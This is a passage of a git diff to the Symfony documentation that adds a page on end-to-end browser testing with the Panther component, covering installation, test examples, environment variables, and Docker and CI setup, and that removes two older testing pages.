$crawler->text('Default text content'); + + // pass TRUE as the second argument of text() to remove all extra white spaces, including + // the internal ones (e.g. " foo\n bar baz \n " is returned as "foo bar baz") + $crawler->text(null, true); + + // extracts an array of attributes for all nodes + // (_text returns the node value) + // returns an array for each element in crawler, + // each with the value and href + $info = $crawler->extract(['_text', 'href']); + + // executes a lambda for each node and return an array of results + $data = $crawler->each(function ($node, int $i): string { + return $node->attr('href'); + }); + +.. _`XPath expression`: https://developer.mozilla.org/en-US/docs/Web/XML/XPath diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst new file mode 100644 index 00000000000..74d6d495637 --- /dev/null +++ b/testing/end_to_end.rst @@ -0,0 +1,921 @@ +End-to-End Testing +================== + +End-to-end tests simulate how real users interact with your application through +a browser. They focus on verifying your user interface and the outcomes of user +actions (like confirming that clicking a button sends an email). + +Unlike :ref:`application tests <functional-tests>`, these tests run in a real +browser that can work in headless mode (without a graphical interface) for CI +environments or with a graphical interface for debugging. + +Symfony provides a component called **Panther** to run end-to-end tests. Panther +lets you run tests in a real browser and offers unique features not available in +other test types: + +* Taking screenshots at any point during the test; +* Executing JavaScript on your pages; +* Supporting everything Chrome or Firefox does; +* Simpler testing of real-time applications (e.g. WebSockets, Server-Sent Events with Mercure). + +Installation +------------ + +Before creating and running your first end-to-end tests, run the following command +to install the needed dependencies: + +.. code-block:: terminal + + $ composer require --dev symfony/panther + +.. include:: /components/require_autoload.rst.inc + +Installing Web Drivers +~~~~~~~~~~~~~~~~~~~~~~ + +Panther uses the WebDriver protocol to control the browser used to crawl +websites. On all systems, you can use `dbrekelmans/browser-driver-installer`_ +to install ChromeDriver and geckodriver locally: + +.. code-block:: terminal + + $ composer require --dev dbrekelmans/bdi + + $ vendor/bin/bdi detect drivers + +Panther will detect and automatically use drivers stored in the ``drivers/`` directory +of your project when installing them manually. You can download `ChromeDriver`_ +for Chromium or Chrome and `GeckoDriver`_ for Firefox and put them anywhere in +your ``PATH`` or in the ``drivers/`` directory of your project. + +Alternatively, you can use the package manager of your operating system +to install them: + +.. code-block:: terminal + + # Ubuntu + $ apt-get install chromium-chromedriver firefox-geckodriver + + # MacOS, using Homebrew + $ brew install chromedriver geckodriver + + # Windows, using Chocolatey + $ choco install chromedriver selenium-gecko-driver + +.. _panther_phpunit-extension: + +Registering The PHPUnit Extension +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you intend to use Panther to test your application, it is strongly recommended +to register the Panther PHPUnit extension. While not strictly mandatory, this +extension dramatically improves the testing experience by boosting the performance +and allowing to use the :ref:`interactive debugging mode <panther_interactive-mode>`. + +When using the extension in conjunction with the ``PANTHER_ERROR_SCREENSHOT_DIR`` +environment variable, tests using the Panther client that fail or error (after the +client is created) will automatically get a screenshot taken to help debugging. + +To register the Panther extension, add the following lines to ``phpunit.dist.xml`` +(in legacy PHPUnit versions older than 10, the file is named ``phpunit.xml.dist``): + +.. code-block:: xml + + <!-- phpunit.dist.xml --> + <extensions> + <!-- use this with PHPUnit 10 or newer --> + <bootstrap class="Symfony\Component\Panther\ServerExtension"/> + <!-- use this with legacy PHPUnit versions older than 10 --> + <extension class="Symfony\Component\Panther\ServerExtension"/> + </extensions> + +Without the extension, the web server used by Panther to serve the application +under test is started on demand and stopped when ``tearDownAfterClass()`` is called. +On the other hand, when the extension is registered, the web server will be stopped +only after the very last test. + +Usage +----- + +Here is an example of a snippet that uses Panther to test an application:: + + use Symfony\Component\Panther\Client; + + $client = Client::createChromeClient(); + // alternatively, create a Firefox client + $client = Client::createFirefoxClient(); + + $client->request('GET', 'https://api-platform.com'); + $client->clickLink('Getting started'); + + // wait for an element to be present in the DOM, even if hidden + $crawler = $client->waitFor('#bootstrapping-the-core-library'); + // you can also wait for an element to be visible + $crawler = $client->waitForVisibility('#bootstrapping-the-core-library'); + + // get the text of an element thanks to the query selector syntax + echo $crawler->filter('div:has(> #bootstrapping-the-core-library)')->text(); + // take a screenshot of the current page + $client->takeScreenshot('screen.png'); + +.. note:: + + According to the specification, WebDriver implementations return only the + **displayed** text by default. When you filter on a ``head`` tag (like + ``title``), the method ``text()`` returns an empty string. Use the + ``html()`` method to get the complete contents of the tag, including the + tag itself. + +Creating a TestCase +~~~~~~~~~~~~~~~~~~~ + +The ``PantherTestCase`` class allows you to write end-to-end tests. It +automatically starts your app using the built-in PHP web server and lets +you crawl it using Panther. To provide all the testing tools you're used +to, it extends `PHPUnit`_'s ``TestCase``. + +If you are testing a Symfony application, ``PantherTestCase`` automatically +extends the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase` class. +It means you can create functional tests, which can directly execute the +kernel of your application and access all your existing services. +In this case, you can use +:ref:`all crawler test assertions <testing-application-assertions>` +provided by Symfony with Panther. + +Here is an example of a ``PantherTestCase``:: + + namespace App\Tests; + + use Symfony\Component\Panther\PantherTestCase; + + class HomepageTest extends PantherTestCase + { + public function testMyApp(): void + { + // your app is automatically started using the built-in web server + $client = static::createPantherClient(); + $client->request('GET', '/home'); + + // use any PHPUnit assertion, including the ones provided by Symfony... + $this->assertPageTitleContains('My Title'); + $this->assertSelectorTextContains('#main', 'My body'); + + // ... or the one provided by Panther + $this->assertSelectorIsEnabled('.search'); + $this->assertSelectorIsDisabled('[type="submit"]'); + $this->assertSelectorIsVisible('.errors'); + $this->assertSelectorIsNotVisible('.loading'); + $this->assertSelectorAttributeContains('.price', 'data-old-price', '42'); + $this->assertSelectorAttributeNotContains('.price', 'data-old-price', '36'); + + // ... + } + } + +Panther client comes with methods that wait until some asynchronous process +finishes:: + + namespace App\Tests; + + use Symfony\Component\Panther\PantherTestCase; + + class HomepageTest extends PantherTestCase + { + public function testMyApp(): void + { + // ... + + // wait for element to be attached to the DOM + $client->waitFor('.popin'); + + // wait for element to be removed from the DOM + $client->waitForStaleness('.popin'); + + // wait for element of the DOM to become visible + $client->waitForVisibility('.loader'); + + // wait for element of the DOM to become hidden + $client->waitForInvisibility('.loader'); + + // wait for text to be inserted in the element content + $client->waitForElementToContain('.total', '25 €'); + + // wait for text to be removed from the element content + $client->waitForElementToNotContain('.promotion', '5%'); + + // wait for the button to become enabled + $client->waitForEnabled('[type="submit"]'); + + // wait for the button to become disabled + $client->waitForDisabled('[type="submit"]'); + + // wait for the attribute to contain content + $client->waitForAttributeToContain('.price', 'data-old-price', '25 €'); + + // wait for the attribute to not contain content + $client->waitForAttributeToNotContain('.price', 'data-old-price', '25 €'); + } + } + +Finally, you can also make assertions on things that will happen in the +future:: + + namespace App\Tests; + + use Symfony\Component\Panther\PantherTestCase; + + class HomepageTest extends PantherTestCase + { + public function testMyApp(): void + { + // ... + + // element will be attached to the DOM + $this->assertSelectorWillExist('.popin'); + + // element will be removed from the DOM + $this->assertSelectorWillNotExist('.popin'); + + // element will be visible + $this->assertSelectorWillBeVisible('.loader'); + + // element will not be visible + $this->assertSelectorWillNotBeVisible('.loader'); + + // text will be inserted in the element content + $this->assertSelectorWillContain('.total', '€25'); + + // text will be removed from the element content + $this->assertSelectorWillNotContain('.promotion', '5%'); + + // button will be enabled + $this->assertSelectorWillBeEnabled('[type="submit"]'); + + // button will be disabled + $this->assertSelectorWillBeDisabled('[type="submit"]'); + + // attribute will contain content + $this->assertSelectorAttributeWillContain('.price', 'data-old-price', '€25'); + + // attribute will not contain content + $this->assertSelectorAttributeWillNotContain('.price', 'data-old-price', '€25'); + } + } + +You can then run this test using PHPUnit, like you would for any other test: + +.. code-block:: terminal + + $ ./vendor/bin/phpunit tests/HomepageTest.php + +When writing end-to-end tests, you should keep in mind that they are +slower than other tests. If you need to check that the WebDriver connection +is still active during long-running tests, you can use the +``Client::ping()`` method which returns a boolean depending on the +connection status. + +Advanced Usage +-------------- + +Changing The Hostname and the Port Of The Web Server +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you want to change the host and/or the port used by the built-in web server, +pass the ``hostname`` and ``port`` to the ``$options`` parameter of the +``createPantherClient()`` method:: + + $client = self::createPantherClient([ + 'hostname' => 'example.com', // defaults to 127.0.0.1 + 'port' => 8080, // defaults to 9080 + ]); + +Using Browser-Kit Clients +~~~~~~~~~~~~~~~~~~~~~~~~~ + +Panther also gives access to other BrowserKit-based implementations of +``Client`` and ``Crawler``. Unlike Panther's native client, these alternative +clients don't support JavaScript, CSS and screenshot capturing, but are way +faster. Two alternative clients are available: + +* The first directly manipulates the Symfony kernel provided by + ``WebTestCase``. It is the fastest client available, but it + is only available for Symfony applications. +* The second leverages :class:`Symfony\\Component\\BrowserKit\\HttpBrowser`. + It is an intermediate between Symfony's kernel and Panther's test clients. + ``HttpBrowser`` sends real HTTP requests using the + :doc:`HttpClient component </http_client>`. It is fast and can browse + any webpage, not only the ones of the application under test. + However, HttpBrowser doesn't support JavaScript and other advanced features + because it is entirely written in PHP. This one can be used in any PHP + application. + +Because all clients implement the same API, you can switch from one to +another just by calling the appropriate factory method, resulting in a good +trade-off for every single test case: if JavaScript is needed or not, if an +authentication against an external SSO has to be done, etc. + +Here is how to retrieve instances of these clients:: + + namespace App\Tests; + + use Symfony\Component\Panther\Client; + use Symfony\Component\Panther\PantherTestCase; + + class AppTest extends PantherTestCase + { + public function testMyApp(): void + { + // retrieve an existing client + $symfonyClient = static::createClient(); + $httpBrowserClient = static::createHttpBrowserClient(); + $pantherClient = static::createPantherClient(); + $firefoxClient = static::createPantherClient(['browser' => static::FIREFOX]); + + // create a custom client + $customChromeClient = Client::createChromeClient(null, null, [], 'https://example.com'); + $customFirefoxClient = Client::createFirefoxClient(null, null, [], 'https://example.com'); + $customSeleniumClient = Client::createSeleniumClient('http://127.0.0.1:4444/wd/hub', null, 'https://example.com'); + + // if you are testing a Symfony app, you also have access to the kernel + $kernel = static::createKernel(); + + // ... + } + } + +.. note:: + + When initializing a custom client, the integrated web server **is not** started + automatically. Use ``PantherTestCase::startWebServer()`` or the ``WebServerManager`` + class if you want to start it manually. + +Testing Real-Time Applications +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Panther provides a convenient way to test applications with real-time +capabilities that use `Mercure`_, `WebSocket`_ and similar technologies. + +The ``PantherTestCase::createAdditionalPantherClient()`` method can create +additional, isolated browsers that can interact with other ones. For instance, +this can be useful to test a chat application having several users +connected simultaneously:: + + use Symfony\Component\Panther\PantherTestCase; + + class ChatTest extends PantherTestCase + { + public function testChat(): void + { + $client1 = self::createPantherClient(); + $client1->request('GET', '/chat'); + + // connect a 2nd user using an isolated browser + $client2 = self::createAdditionalPantherClient(); + $client2->request('GET', '/chat'); + $client2->submitForm('Post message', ['message' => 'Hi folks !']); + + // wait for the message to be received by the first client + $client1->waitFor('.message'); + + // Symfony Assertions are *always* executed in the primary browser + $this->assertSelectorTextContains('.message', 'Hi folks !'); + } + } + +Accessing Browser Console Logs +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If needed, you can use Panther to access the content of the console:: + + use Symfony\Component\Panther\PantherTestCase; + + class ConsoleTest extends PantherTestCase + { + public function testConsole(): void + { + $client = self::createPantherClient( + [], + [], + [ + 'capabilities' => [ + 'goog:loggingPrefs' => [ + 'browser' => 'ALL', // calls to console.* methods + 'performance' => 'ALL', // performance data + ], + ], + ] + ); + + $client->request('GET', '/'); + + $consoleLogs = $client->getWebDriver()->manage()->getLog('browser'); + $performanceLogs = $client->getWebDriver()->manage()->getLog('performance'); // performance logs + } + } + +Passing Arguments to ChromeDriver +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If needed, you can configure `the arguments`_ to pass to the ``chromedriver`` binary:: + + use Symfony\Component\Panther\PantherTestCase; + + class MyTest extends PantherTestCase + { + public function testLogging(): void + { + $client = self::createPantherClient( + [], + [], + [ + 'chromedriver_arguments' => [ + '--log-path=myfile.log', + '--log-level=DEBUG' + ], + ] + ); + + $client->request('GET', '/'); + } + } + +Using a Proxy +~~~~~~~~~~~~~ + +To use a proxy server, you have to set the ``PANTHER_CHROME_ARGUMENTS``: + +.. code-block:: bash + + # .env.test + PANTHER_CHROME_ARGUMENTS='--proxy-server=socks://127.0.0.1:9050' + +Using Selenium With the Built-In Web Server +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you want to use `Selenium Grid`_ with the built-in web server, you need to +configure the Panther client as follows:: + + $client = Client::createPantherClient( + options: [ + 'browser' => PantherTestCase::SELENIUM, + ], + managerOptions: [ + 'host' => 'http://selenium-hub:4444', // the host of the Selenium Server (Grid) + 'capabilities' => DesiredCapabilities::firefox(), // the capabilities of the browser + ], + ); + +Accepting Self-Signed SSL Certificates +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +To force Chrome to accept invalid and self-signed certificates, you can set the +following environment variable: ``PANTHER_CHROME_ARGUMENTS='--ignore-certificate-errors'``. + +.. danger:: + + This option is insecure, use it only for testing in development environments, + never in production (e.g. for web crawlers). + +For Firefox, instantiate the client like this, you can do this at client +creation:: + + $client = Client::createFirefoxClient(null, null, ['capabilities' => ['acceptInsecureCerts' => true]]); + +Using An External Web Server +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Sometimes, it's convenient to reuse an existing web server configuration +instead of starting the built-in PHP one. To do so, set the +``external_base_uri`` option when creating your client:: + + namespace App\Tests; + + use Symfony\Component\Panther\PantherTestCase; + + class E2eTest extends PantherTestCase + { + public function testMyApp(): void + { + $pantherClient = static::createPantherClient(['external_base_uri' => 'https://localhost']); + + // ... + } + } + +.. note:: + + When using an external web server, Panther will not start the built-in + PHP web server. + +Having a Multi-domain Application +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +It happens that your PHP/Symfony application might serve several different +domain names. As Panther saves the client in memory between tests to improve +performance, you will have to run your tests in separate +processes if you write several tests using Panther for different domain names. + +To do so, you can use the native ``@runInSeparateProcess`` PHPUnit annotation. +Here is an example using the ``external_base_uri`` option to determine the +domain name used by the client when using separate processes:: + + // tests/FirstDomainTest.php + namespace App\Tests; + + use Symfony\Component\Panther\PantherTestCase; + + class FirstDomainTest extends PantherTestCase + { + /** + * @runInSeparateProcess + */ + public function testMyApp(): void + { + $pantherClient = static::createPantherClient([ + 'external_base_uri' => 'http://mydomain.localhost:8000', + ]); + + // ... + } + } + + // tests/SecondDomainTest.php + namespace App\Tests; + + use Symfony\Component\Panther\PantherTestCase; + + class SecondDomainTest extends PantherTestCase + { + /** + * @runInSeparateProcess + */ + public function testMyApp(): void + { + $pantherClient = static::createPantherClient([ + 'external_base_uri' => 'http://anotherdomain.localhost:8000', + ]); + + // ... + } + } + +Usage With Other Testing Tools +------------------------------ + +If you want to use Panther with other testing tools like `LiipFunctionalTestBundle`_ +or if you just need to use a different base class, you can use the +``Symfony\Component\Panther\PantherTestCaseTrait`` to enhance your existing +test-infrastructure with some Panther mechanisms:: + + namespace App\Tests\Controller; + + use Liip\FunctionalTestBundle\Test\WebTestCase; + use Symfony\Component\Panther\PantherTestCaseTrait; + + class DefaultControllerTest extends WebTestCase + { + use PantherTestCaseTrait; + + public function testWithFixtures(): void + { + $this->loadFixtures([]); // load your fixtures + $client = self::createPantherClient(); // create your panther client + + $client->request('GET', '/'); + + // ... + } + } + +Configuring Panther Through Environment Variables +------------------------------------------------- + +The following environment variables can be set to change some Panther's +behavior: + +``PANTHER_NO_HEADLESS`` + Disable the browser's headless mode (will display the testing window, useful to debug) +``PANTHER_WEB_SERVER_DIR`` + Change the project's document root (default to ``./public/``, relative paths **must start** by ``./``) +``PANTHER_WEB_SERVER_PORT`` + Change the web server's port (default to ``9080``) +``PANTHER_WEB_SERVER_ROUTER`` + Use a web server router script which is run at the start of each HTTP request +``PANTHER_EXTERNAL_BASE_URI`` + Use an external web server (the PHP built-in web server will not be started) +``PANTHER_APP_ENV`` + Override the ``APP_ENV`` variable passed to the web server running the PHP app +``PANTHER_ERROR_SCREENSHOT_DIR`` + Set a base directory for your failure/error screenshots (e.g. ``./var/error-screenshots``) +``PANTHER_DEVTOOLS`` + Toggle the browser's dev tools (default ``enabled``, useful to debug) +``PANTHER_ERROR_SCREENSHOT_ATTACH`` + Add screenshots mentioned above to test output in junit attachment format +``PANTHER_NO_REDUCED_MOTION`` + Disable non-essential movement in the browser (e.g. animations) + +.. versionadded:: 2.2.0 + + The support for the ``PANTHER_NO_REDUCED_MOTION`` env var was added + in Panther 2.2.0. + +Chrome Specific Environment Variables +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +``PANTHER_NO_SANDBOX`` + Disable `Chrome's sandboxing`_ (unsafe, but allows to use Panther in containers) +``PANTHER_CHROME_ARGUMENTS`` + Customize Chrome arguments. You need to set ``PANTHER_NO_HEADLESS`` to ``1`` + to fully customize +``PANTHER_CHROME_BINARY`` + To use another ``google-chrome`` binary + +Firefox Specific Environment Variables +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +``PANTHER_FIREFOX_ARGUMENTS`` + Customize Firefox arguments. You need to set ``PANTHER_NO_HEADLESS`` to fully customize +``PANTHER_FIREFOX_BINARY`` + To use another ``firefox`` binary + +Changing the Size of the Browser Window +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +It's possible to control the size of the browser window. This also controls the +size of the screenshots. + +This is how you would do it with Chrome:: + + $client = Client::createChromeClient(null, ['--window-size=1500,4000']); + +You can achieve the same thing by setting the ``PANTHER_CHROME_ARGUMENTS`` env +var to ``--window-size=1500,4000``. + +On Firefox, here is how you would do it:: + + use Facebook\WebDriver\WebDriverDimension; + + $client = Client::createFirefoxClient(); + $size = new WebDriverDimension(1500, 4000); + $client->manage()->window()->setSize($size); + +.. _panther_interactive-mode: + +Interactive Mode +---------------- + +Panther can make a pause in your test suites after a failure. +Thanks to this break time, you can investigate the encountered problem through +the web browser. To enable this mode, you need the ``--debug`` PHPUnit option +without the headless mode: + +.. code-block:: terminal + + $ PANTHER_NO_HEADLESS=1 bin/phpunit --debug + + Test 'App\AdminTest::testLogin' started + Error: something is wrong. + + Press enter to continue... + +To use the interactive mode, the +:ref:`PHPUnit extension <panther_phpunit-extension>` has to be registered. + +Docker Integration +------------------ + +Here is a minimal Docker image that can run Panther with both Chrome and +Firefox: + +.. code-block:: dockerfile + + FROM php:alpine + + # Chromium and ChromeDriver + ENV PANTHER_NO_SANDBOX 1 + # Not mandatory, but recommended + ENV PANTHER_CHROME_ARGUMENTS='--disable-dev-shm-usage' + RUN apk add --no-cache chromium chromium-chromedriver + + # Firefox and GeckoDriver (optional) + ARG GECKODRIVER_VERSION=0.28.0 + RUN apk add --no-cache firefox libzip-dev; \ + docker-php-ext-install zip + RUN wget -q https://github.com/mozilla/geckodriver/releases/download/v$GECKODRIVER_VERSION/geckodriver-v$GECKODRIVER_VERSION-linux64.tar.gz; \ + tar -zxf geckodriver-v$GECKODRIVER_VERSION-linux64.tar.gz -C /usr/bin; \ + rm geckodriver-v$GECKODRIVER_VERSION-linux64.tar.gz + +You can then build and run your image: + +.. code-block:: bash + + $ docker build . -t myproject + $ docker run -it -v "$PWD":/srv/myproject -w /srv/myproject myproject bin/phpunit + +Integrating Panther In Your CI +------------------------------ + +Github Actions +~~~~~~~~~~~~~~ + +Panther works out of the box with `GitHub Actions`_. +Here is a minimal ``.github/workflows/panther.yaml`` file to run Panther tests: + +.. code-block:: yaml + + name: Run Panther tests + + on: [ push, pull_request ] + + jobs: + tests: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v4 + - uses: "ramsey/composer-install@v2" + + - name: Install dependencies + run: composer install -q --no-ansi --no-interaction --no-scripts --no-progress --prefer-dist + + - name: Run test suite + run: bin/phpunit + +Travis CI +~~~~~~~~~ + +Panther will work out of the box with `Travis CI`_ if you add the Chrome addon. +Here is a minimal ``.travis.yaml`` file to run Panther tests: + +.. code-block:: yaml + + language: php + addons: + # If you don't use Chrome or Firefox, remove the corresponding line + chrome: stable + firefox: latest + + php: + - 8.0 + + script: + - bin/phpunit + +Gitlab CI +~~~~~~~~~ + +Here is a minimal ``.gitlab-ci.yaml`` file to run Panther tests +with `Gitlab CI`_: + +.. code-block:: yaml + + image: ubuntu + + before_script: + - apt-get update + - apt-get install software-properties-common -y + - ln -sf /usr/share/zoneinfo/Europe/Paris /etc/localtime + - apt-get install curl wget php php-cli php8.1 php8.1-common php8.1-curl php8.1-intl php8.1-xml php8.1-opcache php8.1-mbstring php8.1-zip libfontconfig1 fontconfig libxrender-dev libfreetype6 libxrender1 zlib1g-dev xvfb chromium-chromedriver firefox-geckodriver -y -qq + - export PANTHER_NO_SANDBOX=1 + - export PANTHER_WEB_SERVER_PORT=9080 + - php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" + - php composer-setup.php --install-dir=/usr/local/bin --filename=composer + - php -r "unlink('composer-setup.php');" + - composer install -q --no-ansi --no-interaction --no-scripts --no-progress --prefer-dist + + test: + script: + - bin/phpunit + +AppVeyor +~~~~~~~~ + +Panther will work out of the box with `AppVeyor`_ as long as Google Chrome +is installed. Here is a minimal ``appveyor.yaml`` file to run Panther tests: + +.. code-block:: yaml + + build: false + platform: x86 + clone_folder: c:\projects\myproject + + cache: + - '%LOCALAPPDATA%\Composer\files' + + install: + - ps: Set-Service wuauserv -StartupType Manual + - cinst -y php composer googlechrome chromedriver firfox selenium-gecko-driver + - refreshenv + - cd c:\tools\php80 + - copy php.ini-production php.ini /Y + - echo date.timezone="UTC" >> php.ini + - echo extension_dir=ext >> php.ini + - echo extension=php_openssl.dll >> php.ini + - echo extension=php_mbstring.dll >> php.ini + - echo extension=php_curl.dll >> php.ini + - echo memory_limit=3G >> php.ini + - cd %APPVEYOR_BUILD_FOLDER% + - composer install -q --no-ansi --no-interaction --no-scripts --no-progress --prefer-dist + + test_script: + - cd %APPVEYOR_BUILD_FOLDER% + - php bin\phpunit + +Known Limitations and Troubleshooting +------------------------------------- + +The following features are not currently supported: + +* Crawling XML documents (only HTML is supported) +* Updating existing documents (browsers are mostly used to consume data, not to create webpages) +* Setting form values using the multidimensional PHP array syntax +* Methods returning an instance of ``\DOMElement`` (because this library uses ``WebDriverElement`` internally) +* Selecting invalid choices in the select + +Also, there is a known issue if you are using Bootstrap 5. It implements a +scrolling effect which tends to mislead Panther. To fix this, we advise you to +deactivate this effect by setting the Bootstrap 5 ``$enable-smooth-scroll`` +variable to ``false`` in your style file: + +.. code-block:: scss + + $enable-smooth-scroll: false; + +Assets not Loading when Using the PHP Built-In Server +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Sometimes, your assets might not load during tests. This happens because Panther +uses the `PHP built-in server`_ to serve your app. If asset files (or any requested +URI that's not a ``.php`` file) aren't in your public directory, the built-in +server will return a 404 error. This often happens when letting the :doc:`AssetMapper component </frontend/asset_mapper>` +handle your application assets in the ``dev`` environment. + +One solution when using AssetMapper is to :ref:`compile assets <asset-mapper-compile-assets>` +before running your tests. This will also speed up your tests, as Symfony won't +need to handle the assets, allowing the PHP built-in server to serve them directly. + +Another option is to create a file called ``tests/router.php`` and add the following to it:: + + // tests/router.php + if (is_file($_SERVER['DOCUMENT_ROOT'].\DIRECTORY_SEPARATOR.$_SERVER['SCRIPT_NAME'])) { + return false; + } + + $script = 'index.php'; + + $_SERVER = array_merge($_SERVER, $_ENV); + $_SERVER['SCRIPT_FILENAME'] = $_SERVER['DOCUMENT_ROOT'].\DIRECTORY_SEPARATOR.$script; + + $_SERVER['SCRIPT_NAME'] = \DIRECTORY_SEPARATOR.$script; + $_SERVER['PHP_SELF'] = \DIRECTORY_SEPARATOR.$script; + + require $script; + +Then declare it as a router for Panther server in ``phpunit.dist.xml`` using the +``PANTHER_WEB_SERVER_ROUTER`` environment variable: + +.. code-block:: xml + + <!-- phpunit.dist.xml --> + <phpunit> + <!-- ... --> + <php> + <!-- ... --> + <server name="PANTHER_WEB_SERVER_ROUTER" value="../tests/router.php"/> + </php> + </phpunit> + +.. seealso:: + + See the `Functional Testing tutorial`_ on SymfonyCasts. + +Additional Documentation +------------------------ + +Since Panther implements the API of popular libraries, you can find even more +documentation: + +* For the ``Client`` class, by reading the + :doc:`BrowserKit component </components/browser_kit>` page +* For the ``Crawler`` class, by reading the + :doc:`DomCrawler component </components/dom_crawler>` page +* For WebDriver, by reading the `PHP WebDriver documentation`_ + +.. _`dbrekelmans/browser-driver-installer`: https://github.com/dbrekelmans/browser-driver-installer +.. _`ChromeDriver`: https://sites.google.com/chromium.org/driver/ +.. _`GeckoDriver`: https://github.com/mozilla/geckodriver +.. _`PHPUnit`: https://phpunit.de/ +.. _`Mercure`: https://mercure.rocks/ +.. _`WebSocket`: https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API +.. _`the arguments`: https://chromedriver.chromium.org/logging#TOC-All-languages +.. _`PHP WebDriver documentation`: https://github.com/php-webdriver/php-webdriver +.. _`Chrome's sandboxing`: https://chromium.googlesource.com/chromium/src/+/b4730a0c2773d8f6728946013eb812c6d3975bec/docs/design/sandbox.md +.. _`GitHub Actions`: https://help.github.com/en/actions +.. _`Travis CI`: https://travis-ci.com/ +.. _`Gitlab CI`: https://docs.gitlab.com/ee/ci/ +.. _`AppVeyor`: https://www.appveyor.com/ +.. _`LiipFunctionalTestBundle`: https://github.com/liip/LiipFunctionalTestBundle +.. _`PHP built-in server`: https://www.php.net/manual/en/features.commandline.webserver.php +.. _`Functional Testing tutorial`: https://symfonycasts.com/screencast/last-stack/testing +.. _`Selenium Grid`: https://www.selenium.dev/documentation/grid/ diff --git a/testing/functional_tests_assertions.rst b/testing/functional_tests_assertions.rst deleted file mode 100644 index 457d8c39021..00000000000 --- a/testing/functional_tests_assertions.rst +++ /dev/null @@ -1,118 +0,0 @@ -.. index:: - single: Tests; Assertions - -Functional Test specific Assertions -=================================== - -When doing functional tests, sometimes you need to make complex assertions in -order to check whether the ``Request``, the ``Response`` or the ``Crawler`` -contain the expected information to make your test succeed. - -The following example uses plain PHPUnit to assert that the response redirects -to a certain URL:: - - $this->assertSame(301, $client->getResponse()->getStatusCode()); - $this->assertSame('https://example.com', $client->getResponse()->headers->get('Location')); - -This is the same example using the assertions provided by Symfony:: - - $this->assertResponseRedirects('https://example.com', 301); - -Assertions Reference ---------------------- - -Response -~~~~~~~~ - -.. note:: - - The following assertions only work if a request has been made with the - ``Client`` in a test case extending the ``WebTestCase`` class. - -- ``assertResponseIsSuccessful()`` -- ``assertResponseStatusCodeSame()`` -- ``assertResponseRedirects()`` -- ``assertResponseHasHeader()`` -- ``assertResponseNotHasHeader()`` -- ``assertResponseHeaderSame()`` -- ``assertResponseHeaderNotSame()`` -- ``assertResponseHasCookie()`` -- ``assertResponseNotHasCookie()`` -- ``assertResponseCookieValueSame()`` - -Request -~~~~~~~ - -.. note:: - - The following assertions only work if a request has been made with the - ``Client`` in a test case extending the ``WebTestCase`` class. - -- ``assertRequestAttributeValueSame()`` -- ``assertRouteSame()`` - -Browser -~~~~~~~ - -.. note:: - - The following assertions only work if a request has been made with the - ``Client`` in a test case extending the ``WebTestCase`` class. - -- ``assertBrowserHasCookie()`` -- ``assertBrowserNotHasCookie()`` -- ``assertBrowserCookieValueSame()`` - -Crawler -~~~~~~~ - -.. note:: - - The following assertions only work if a request has been made with the - ``Client`` in a test case extending the ``WebTestCase`` class. In addition, - they are not available when using `symfony/panther`_ for end-to-end testing. - -- ``assertSelectorExists()`` -- ``assertSelectorNotExists()`` -- ``assertSelectorTextContains()`` (note: it only checks the first selector occurrence) -- ``assertSelectorTextSame()`` (note: it only checks the first selector occurrence) -- ``assertSelectorTextNotContains()`` (note: it only checks the first selector occurrence) -- ``assertPageTitleSame()`` -- ``assertPageTitleContains()`` -- ``assertInputValueSame()`` -- ``assertInputValueNotSame()`` -- ``assertCheckboxChecked()`` -- ``assertCheckboxNotChecked()`` -- ``assertFormValue()`` -- ``assertNoFormValue()`` - -.. versionadded:: 5.2 - - The ``assertCheckboxChecked()``, ``assertCheckboxNotChecked()``, - ``assertFormValue()`` and ``assertNoFormValue()`` methods were introduced - in Symfony 5.2. - -Mailer -~~~~~~ - -.. versionadded:: 5.1 - - Starting from Symfony 5.1, the following assertions no longer require to make - a request with the ``Client`` in a test case extending the ``WebTestCase`` class. - -- ``assertEmailCount()`` -- ``assertQueuedEmailCount()`` -- ``assertEmailIsQueued()`` -- ``assertEmailIsNotQueued()`` -- ``assertEmailAttachementCount()`` -- ``assertEmailTextBodyContains()`` -- ``assertEmailTextBodyNotContains()`` -- ``assertEmailHtmlBodyContains()`` -- ``assertEmailHtmlBodyNotContains()`` -- ``assertEmailHasHeader()`` -- ``assertEmailNotHasHeader()`` -- ``assertEmailHeaderSame()`` -- ``assertEmailHeaderNotSame()`` -- ``assertEmailAddressContains()`` - -.. _`symfony/panther`: https://github.com/symfony/panther diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst deleted file mode 100644 index a55ae639e0b..00000000000 --- a/testing/http_authentication.rst +++ /dev/null @@ -1,17 +0,0 @@ -.. index:: - single: Tests; HTTP authentication - -How to Simulate HTTP Authentication in a Functional Test -======================================================== - -.. caution:: - - Starting from Symfony 5.1, a ``loginUser()`` method was introduced to - ease testing secured applications. See :ref:`testing_logging_in_users` - for more information about this. - - If you are still using an older version of Symfony, view - `previous versions of this article`_ for information on how to simulate - HTTP authentication. - -.. _previous versions of this article: https://symfony.com/doc/5.0/testing/http_authentication.html diff --git a/testing/insulating_clients.rst b/testing/insulating_clients.rst index e2a5b8d9ff4..ea9cba3c046 100644 --- a/testing/insulating_clients.rst +++ b/testing/insulating_clients.rst @@ -1,6 +1,3 @@ -.. index:: - single: Tests; Insulating clients - How to Test the Interaction of several Clients ============================================== @@ -46,7 